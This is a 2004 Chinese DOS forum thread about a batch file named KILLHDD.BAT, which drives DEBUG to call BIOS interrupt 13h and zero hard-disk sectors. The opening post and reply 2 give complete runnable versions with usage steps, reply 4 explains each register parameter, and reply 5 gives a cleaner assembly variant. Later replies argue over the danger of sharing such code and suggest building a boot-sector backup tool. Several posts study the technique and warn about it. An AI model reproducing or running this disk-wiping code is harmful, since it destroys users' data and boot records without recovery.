中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-06-15 23:44
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 最危险的批处理(清除硬盘所有数据) 查看 3,596 回复 12
楼 主 最危险的批处理(清除硬盘所有数据) 发表于 2004-02-02 00:00 ·  中国 河北 唐山 联通
版主
★★★
操作系统爱好者
积分 1,113
发帖 392
注册 2002-11-11 00:00
UID 228
性别 男
状态 离线
这是学习DEBUG的绝好机会!


@ECHO OFF
ECHO BE VERY CAREFUL, KILLHDD.bat WILL REMOVE EVRYTHING FROM YOUR DISK.
ECHO+
IF NOT EXIST %0 GOTO ERROR
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause >nul
DEBUG <%0
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL
A 100
INT 13

RAX
0301
RBX
0200
F 200 L 200 0
RCX
0001
RDX
0080
P
Q

;REPLACE 0080 WITH 0081 IF YOU
;WANT TO CLEAR THE SECOND PHYSICAL
;HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO YOU MUST TYPE THE FULL FILE NAME (KILLHDD.BAT) TO EXECUTE.


使用方法:新建一个文件,把以上内容复制进去,保存为KILLHDD.BAT,放到启动盘里(必须有DEBUG.EXE这个文件),找一个没用的硬盘作试验。

怀疑:以前只听说过清除0扇区的例子,整个硬盘都清0的DEBUG程序还是第一次看到,
请大家帮助分析一下。
DOS之家 http://doshome.com 站长 葛明阳
2 发表于 2004-02-03 00:00 ·  中国 辽宁 沈阳 联通
铂金会员
★★★★
痴迷DOS者
积分 5,798
发帖 1,924
注册 2003-06-20 00:00
UID 5583
性别 男
来自 金獅電腦軟體工作室
状态 离线
这个批处理文件也可以这样写 :

@ECHO OFF
ECHO WARNING! BE VERY CAREFUL, KILLHDD.BAT Will REMOVE EVRYTHING FROM YOUR DISK.
ECHO.
IF NOT EXIST DEBUG.EXE GOTO ERROR
IF EXIST A.TXT DEL A.TXT
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause > nul
ECHO A 100 > A.TXT
ECHO INT 13 >> A.TXT
ECHO. >> A.TXT
ECHO R AX >> A.TXT
ECHO 0301 >> A.TXT
ECHO R BX >> A.TXT
ECHO 0200 >> A.TXT
ECHO F 200 L 200 0 >> A.TXT
ECHO R CX >> A.TXT
ECHO 0001 >> A.TXT
ECHO R DX >> A.TXT
ECHO 0080 >> A.TXT
ECHO P >> A.TXT
ECHO Q >> A.TXT
ECHO. >> A.TXT
DEBUG < A.TXT
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL

;REPLACE 0080 WITH 0081 IF YOU WANT TO CLEAR THE SECOND PHYSICAL HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO DEBUG.EXE NOT FOUND!

有什么不妥之处请大家指正!
熟能生巧,巧能生精,一艺不精,终生无成,精亦求精,始有所成,臻于完美,永无止境!
金狮電腦軟體工作室愿竭诚为您服务!
QQ群:8393170(定期清理不发言者)
个人网站:http://www.520269.cn
电子邮件:doujiehui@vip.qq.com
微信公众号: doujiehui
3 发表于 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
积分 4,432
发帖 1,512
注册 2002-10-18 00:00
UID 19
性别 男
状态 离线
**********
已被作者删除
**********
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
4 发表于 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
积分 4,432
发帖 1,512
注册 2002-10-18 00:00
UID 19
性别 男
状态 离线
Re gmy:

总体来说,有些言过其实。实际上此程序只能清除硬盘主引导扇区(0,0,1),在windows下运行还会出现问题,因为windows的dos方式是禁止直接读写硬盘的。

程序关键在于那段debug脚本,其它都只起辅助和说明作用,分析一下:

A 100 ;在0100处开始汇编,
INT 13 ;调用Rom bios 的 int13 中断对硬盘进行直接读写
;结束汇编。以下置寄存器ax,bx,cx,dx的值,作为int13的参数
RAX ;
0301 ;03代表写硬盘,01代表写一个扇区
RBX
0200 ;0200代表将内存中处字节内容写到目标扇区
F 200 L 200 0 ;填充处字节为0,长度为200
RCX
0001 ;0磁头,1扇区
RDX
0080 ;0磁柱/磁道,80第一硬盘,第二硬盘为81
P ;执行0100处的中断代码
Q ;退出debug












※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
5 发表于 2004-02-06 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
积分 4,432
发帖 1,512
注册 2002-10-18 00:00
UID 19
性别 男
状态 离线
Re All:

刚才那段脚本,其实是一个十分简单的脚本,但是对于初学者来说,破坏性还是较强。建议不要轻易尝试。

真正实现硬盘全部清零,必须获取硬盘物理参数,然后循环清除相应的扇区,这一步我目前只是设想,从未真正实现。

另外,那段脚本可以改得更清晰一些:
f 200 L 200 0
a100
mov ax,0301 ;改成0201,即为读一扇区至处
mov bx,0200
mov cx,0001
mov dx,0080
int13
int20

g
q
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
6 发表于 2004-02-06 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
积分 1,131
发帖 332
注册 2003-11-27 00:00
UID 13461
性别 男
状态 离线
楼上的几位仁兄,求求各位了,这类批处理是最可怕的(不是病毒,比病毒还狠),杀毒软件无效,稍做改动运行起来,无论高手或低手都在劫难逃。这类批处理不做也罢!还是手动处理吧!
7 发表于 2004-02-06 00:00 ·  中国 湖北 武汉 电信
元老会员
★★★★★
步行的人
积分 9,654
发帖 3,351
注册 2003-03-11 00:00
UID 1113
性别 男
来自 湖北
状态 离线
老葛的东东在dos之家可是高机密的哟。大家也不抬抬庄。。
弄花香满衣,掬水月在手。
明月鹭鸟飞, 芦花白马走。
我自一过后,野渡现横舟。
青云碧空在,净瓶水不流。
http://dos.e-stone.cn/guestbook/index.asp
======中國DOS聯盟=====
我的新网页http://rsds.7i24.com欢迎光顾
8 发表于 2004-02-06 00:00 ·  中国 湖北 武汉 联通
银牌会员
★★★
积分 1,681
发帖 512
注册 2003-08-02 00:00
UID 7953
性别 男
状态 离线
另类“批处理病毒”呵呵
顺便说说, ctty nul 是 DOS 时代耍猴的法宝哦
Somehow somewhere I've got to choose.
No matter if it is win or lose.
9 发表于 2004-02-07 00:00 ·  中国 广东 广州 荔湾区 电信
初级用户
积分 112
发帖 5
注册 2003-11-15 00:00
UID 12856
性别 男
状态 离线
这种骗小孩的批处理也算厉害?笑掉牙!有本事在WIN2000、NT下试试?保护模式下看你如何玩?退一步说,即使能清掉,随便一个恢复工具立马修好!真正的硬盘清零绝不是两、三秒钟就能搞定的。以前的江民炸弹现在也不到一分钟就恢复了。
10 发表于 2004-02-07 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
积分 4,432
发帖 1,512
注册 2002-10-18 00:00
UID 19
性别 男
状态 离线
Re tdj:

让大家了解一些dos下操作硬盘的基本常识其实无可厚非,只是方式有些极端而已。比如,以上的代码,经过简单修改完全可以改成备份和恢复硬盘主引导扇区和dos引导扇区的批程序,而且简单好用,对付以上此种的恶意代码就很简单了。

Re morixin:

你的水平有多少我不了解,但是能在一分钟内恢复江民炸弹破坏的情况,能做到的人我相信没有几个。为什么?因为即使懂得这方面的知识,加上问题判断和程序制作,时间会大大延长;如果只有一台机器,那么情况会更难堪。真正一分钟能完成的情况可以说极其少见,除非上万台机器同时发生此种情况,然后求平均时间:)

所以,这位兄弟还是想的太理想了些。如果你知道很多东西,建议你多贴一些上来,让我和大家共同学习。







※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
11 发表于 2004-02-07 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
积分 1,131
发帖 332
注册 2003-11-27 00:00
UID 13461
性别 男
状态 离线
Re willsort:我觉得在一块硬盘存储几十季甚至上百季数据的今天,硬盘本身的价值相对小多了,防范和避免应该是重点。发生问题时亡羊补牢已经是晚了。各位网友的素质不一,一旦画虎不成,楼上几位罪过不轻!!!
Re morixin:比建设更迅速的是毁灭,比修复更容易的是破坏,请三思!!!!
12 发表于 2004-02-08 00:00 ·  中国 山西 太原 联通
元老会员
★★★★
Batchinger
积分 4,432
发帖 1,512
注册 2002-10-18 00:00
UID 19
性别 男
状态 离线
Re tdj:

如何防范和避免,难道需要依靠技术的垄断和无知?而不是信息的透明与公开。只要公布解法,问题自然不会成为问题。

何不考虑我的建议,编一个备份恢复程序。附上详细的使用说明,防范和避免就很简单。也算一大功德。
※ Batchinger 致 Bat Fans:请访问 批处理编程的异类 ,欢迎交流与共享批处理编程心得!
13 发表于 2004-02-08 00:00 ·  中国 辽宁 抚顺 联通
银牌会员
★★★
论坛候鸟
积分 1,131
发帖 332
注册 2003-11-27 00:00
UID 13461
性别 男
状态 离线
…………唉!…………也许你是对的。总不能因噎废食呀。小弟还仅算一只不太菜的鸟,近期一直在教学室和解答室看帖。如果willsort兄查一下,频率最高的几个问题,不知会怎么想……
一些高手可以指哪打哪。多数可能打完了还不知道往哪指……



论坛跳转: